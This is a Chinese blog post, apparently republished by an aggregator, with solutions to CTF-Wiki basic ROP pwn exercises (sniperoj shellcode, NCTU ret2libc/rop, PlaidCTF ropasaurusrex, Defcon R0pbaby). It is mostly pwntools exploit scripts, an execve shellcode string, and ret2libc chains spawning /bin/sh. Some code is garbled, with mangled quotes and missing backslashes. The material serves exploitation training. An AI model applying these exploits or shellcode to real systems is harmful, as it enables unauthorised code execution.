二进制CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)
Posted yichen115
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了二进制CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)相关的知识,希望对你有一定的参考价值。
sniperoj-pwn100-shellcode-x86-64
23 字节 shellcode
"x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
首先根据 gdb 确定偏移,然后把因为有个 leave 指令会破坏前面的,所以前面的填充为脏数据,然后加上返回地址占据的 8 位空间,确定在 buf_addr 后面 24+8 填充 shellcode
from pwn import * sh = process(‘./shellcode‘) shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05" sh.recvuntil(‘[‘) buf_addr = sh.recvuntil(‘]‘, drop=True) buf_addr = int(buf_addr, 16) payload = ‘b‘ * 24 + p64(buf_addr + 32) + shellcode_x64 print payload sh.sendline(payload) sh.interactive()
train.cs.nctu.edu.tw:ret2libc
这道题开启了 NX 保护,然而运行的时候会把 puts 的地址跟 /bin/sh 的地址告诉我们,使用 pwntools 可以把地址提取出来,再根据 libcsearcher 查出 system 的地址,这样就可以 getshell 了
exp:
from pwn import * from LibcSearcher import LibcSearcher p=process(‘./pwn‘) p.recvuntil(‘is ‘) bin_addr = int(p.recvuntil(‘ ), 16) print hex(bin_addr) p.recvuntil(‘is ‘) puts_addr = int(p.recvuntil(‘ ‘), 16) print hex(puts_addr) libc=LibcSearcher(‘puts‘,puts_addr) libc_base=puts_addr-libc.dump(‘puts‘) sys_addr=libc_base+libc.dump(‘system‘) payload2=‘a‘*32+p32(sys_addr)+p32(1234)+p32(bin_addr) p.sendline(payload2) p.interactive()
讲一下 p.recvuntil(‘is ‘)
代表的是 "is" 之前的那一块,当下一个 recvuntil 的时候就会把这那块去掉了
把脚本里的第一个 p.recvuntil(‘is ‘)
替换成
print p.recvuntil(‘of ‘)
print p.recvuntil(‘is ‘)
就可以看出来作用是什么
ps. 正常会输出这一些("^C" 是 ctrl+c 退出造成的,不包括):
train.cs.nctu.edu.tw:rop
没找到题目,从大佬博客里面找到的,题目使用 nc 连上以后会输出这些 gadgets 需要自己去构造 payload
把 push 的那一些 16 进制转换一下
大佬说通过这些就可以构造出 payload 了
exp:我连不上。。。
from pwn import * sh = remote(‘bamboofox.cs.nctu.edu.tw‘,10001) payload = "9,9,1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0" sh.sendline(payload) sh.interactive()
2013-PlaidCTF-ropasaurusrex
没有 system 和 /bin/sh,通过 ret2libc 的方法在 libc 里面找到,这里注意一下第一次泄露的是 got 表的内容,写成了 plt 的,结果废了两个小时没看出来,还以为又出现了什么超出知识水平的操作,,CTF 需要视力!!
exp:
from pwn import * from LibcSearcher import LibcSearcher p=process(‘./rop‘) elf=ELF(‘./rop‘) write_plt=elf.plt[‘write‘] write_got=elf.got[‘write‘] payload=‘a‘*140+p32(write_plt)+p32(0x80483F4)+p32(1)+p32(write_got)+p32(4) p.sendline(payload) write_addr=u32(p.recv(4)) libc=LibcSearcher(‘write‘,write_addr) libc_base=write_addr-libc.dump(‘write‘) sys_addr=libc_base+libc.dump(‘system‘) bin_addr=libc_base+libc.dump(‘str_bin_sh‘) payload1=‘a‘*140+p32(sys_addr)+p32(1234)+p32(bin_addr) p.sendline(payload1) p.interactive()
Defcon 2015 Qualifier: R0pbaby
checksec 检查一下,发现是 64 位程序,所以参数应该是存储在 rdi 寄存器上
64 位程序当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
通过 ROPgadget --binary /libc/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"
获取到 pop rdi ;ret 的地址:
通过程序自身提供的功能,可以获取到 libc 的地址与任意函数的地址
同时第三个功能存在溢出,经过计算溢出的长度为 8
写 exp:
from pwn import * from LibcSearcher import * p=process(‘./pwn‘) elf=ELF(‘./pwn‘) rdi_offset=0x0000000000021102 p.recvuntil(‘: ‘) p.sendline(‘2‘) p.recvuntil(‘symbol: ‘) p.sendline(‘system‘) p.recvuntil(‘: ‘) sys_addr=p.recvuntil(‘ ‘,drop=True) sys_addr=int(sys_addr,16) libc=LibcSearcher(‘system‘,sys_addr) libc_base=sys_addr-libc.dump(‘system‘) bin_addr=libc_base+libc.dump(‘str_bin_sh‘) rdi_addr=libc_base+rdi_offset payload=‘a‘*8+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr) p.recvuntil(‘: ‘) p.sendline(‘3‘) p.recvuntil(‘): ‘) length=len(payload) print length print str(length) p.sendline(str(length)) p.sendline(payload) p.interactive()
大佬的 exp:
from pwn import * from LibcSearcher import * ropbaby = ELF(‘./pwn‘) sh = process(‘./pwn‘) context.word_size = 64 def getfuncaddress(func): sh.recvuntil(‘: ‘) sh.sendline(‘2‘) sh.recvuntil(‘symbol: ‘) sh.sendline(func) sh.recvuntil(‘: ‘) addr = sh.recvuntil(‘ ‘, drop=True) return int(addr, 16) def addropbuff(payload): sh.recvuntil(‘: ‘) sh.sendline(‘3‘) sh.recvuntil(‘): ‘) length = len(payload) sh.sendline(str(length)) sh.sendline(payload) rdi_ret_offset = 0x0000000000021102 system_addr = getfuncaddress(‘system‘) libc = LibcSearcher(‘system‘, system_addr) libc_base = system_addr - libc.dump(‘system‘) binsh_addr = libc.dump(‘str_bin_sh‘) + libc_base rdi_ret = rdi_ret_offset + libc_base print hex(system_addr), hex(binsh_addr), hex(rdi_ret) payload = flat([‘b‘ * 8, rdi_ret, binsh_addr, system_addr]) addropbuff(payload) sh.interactive()
以上是关于二进制CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)的主要内容,如果未能解决你的问题,请参考以下文章